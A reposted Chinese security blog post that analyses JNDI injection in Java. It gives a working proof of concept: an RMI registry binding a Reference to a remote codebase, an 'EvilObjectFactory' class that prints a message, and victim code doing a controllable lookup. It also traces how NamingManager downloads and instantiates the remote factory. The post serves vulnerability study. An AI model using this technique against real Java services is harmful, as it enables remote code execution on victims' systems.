最新消息:图 床

關於 JNDI 注入

COOL IAM 230浏览 0评论

作者:n1nty

一篇炒冷飯的文章,全當筆記在寫了,這個漏洞涉及到 JNDI 與 RMI。 這裡我主要只寫一些其他的 “JNDI 注入” 分析文章沒寫過的東西,如果你看的不是很明白的話可以配合其他人寫的分析文章一起看。

需要知道的背景知識

  1. JNDI 的概念不細寫了,只需要知道我們通過 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所謂 Naming Service 或 DirectoryService 的內容
  2. JNDI API 中涉及到的常見的方法與接口的作用,如:Context.lookup
  3. JNDI 中 ServiceProvider 以及 ObjectFactory 的作用
  4. Reference 類的作用
  5. RMI 的相關基礎知識,可以看我另一篇公眾號,我記的非常全。

JNDI Service Provider

JNDI 與 JNDI Service Provider 的關係類似於 Windows 中 SSPI 與 SSP 的關係。前者是統一抽象出來的接口,而後者是對接口的具體實現。如上面提到的默認的 JNDI Service Provider 有 RMI/LDAP 等等。。

ObjectFactory

每一個 Service Provider 可能配有多個 Object Factory。Object Factory 用於將 Naming Service(如 RMI/LDAP)中存儲的數據轉換為 Java 中可表達的數據,如 Java 中的對象或 Java 中的基本數據類型。 JNDI 的注入的問題就出在了可遠程下載自定義的 ObjectFactory 類上。你如果有興趣的話可以完整看一下 Service Provider 是如何與多個 ObjectFactory 進行交互的。

PoC

public static void main( String[] args ) throws Exception
{

    // 在本機 1999 端口開啟 rmi registry,可以通過 JNDI API 來訪問此 rmi registry
    Registry registry = LocateRegistry.createRegistry(1999);

    // 創建一個 Reference,第一個參數無所謂,第二個參數指定 Object Factory 的類名:
    // jndiinj.EvilObjectFactory

    // 第三個參數是 codebase,表明如果客戶端在 classpath 裡面找不到 
    // jndiinj.EvilObjectFactory,則去 http://localhost:9999/ 下載
    // 當然利用的時候這裡應該是一個真正的 codebase 的地址
    Reference ref = new Reference("whatever",
            "jndiinj.EvilObjectFactory", "http://localhost:9999/");

    // 利用 ReferenceWrapper 將前面的 Reference 對象包裝一下
    // 因為只為只有實現 Remote 接口的對象才能綁定到 rmi registry 裡面去
    ReferenceWrapper wrapper = new ReferenceWrapper(ref);
    registry.bind("evil", wrapper);
}

EvilObjectFactory

代碼如下:

public class EvilObjectFactory implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name,
                                    Context nameCtx,
                                    Hashtable<?, ?> environment) 
            throws Exception {

        System.out.println("executed");
        return null;
    }
}

Victim

Victim 需要執行 Context.lookup,並且 lookup 的參數需要我們可控。

public static void main(String[] args) throws Exception {
    Context ctx = new InitialContext();
    // ctx.lookup 參數需要可控
    System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}

我的疑問

最開始看到 PoC 的時候,我以為這是 RMI Class Loading 導致的受害者會去指定的 codebase 下載我們指定的類並去實例化,因此產生了很大的疑惑。

  1. 因為 RMI Class Loading 是有條件限制的,比如說默認禁用,以及與 JVM 的 codebase 配置有很大的關係。
  2. PoC 裡面向 rmi registry 綁定 ReferenceWrapper 的時候,真正綁定進去的應該是它的 Stub 才對,Stub 的對象是怎麼造成客戶端的代碼執行的。

因為懶,這個疑問一直存在了很長時間,直到我開始正式去調試跟一下這個漏洞看看到底發生了什麼。後來我看在 marshalsec 那篇 pdf 裡面也提到了這個問題。

Victim 端的觸發流程

1.ctx.lookup 最終會進入 com.sun.jndi.rmi.registry.RegistryContext.lookup。因為傳入的 jndi url 是以 rmi:// 開頭的。

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

2.在 lookup 裡面通過 this.registry.lookup 查找出遠程對象,賦給 var2。這裡的 var2 確實是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 類型的。證明我的想法是沒有錯的,存入 rmi registry 的確實是一個 stub。

3.進入 this.decodeObject

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ?
                ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, 
                this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}

4.this.decodeObject 內將 stub 還原成了 Reference,這裡解決了我一個疑惑。隨後進入 NamingManager.getObjectInstance

5.NamingManager.getObjectInstance 內部發現當前 JVM 中不存在 Reference 中指定的 object factory,就自動去我們指定的 codebase 地址下載(並不是利用的 RMI Class Loading 機制,所以解決了我另一個疑惑)並實例化我們指定的 Object Factory 類,並調用其 javax.naming.spi.ObjectFactory#getObjectInstance 方法。

參考資料


转载请注明:IAMCOOL » 關於 JNDI 注入

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x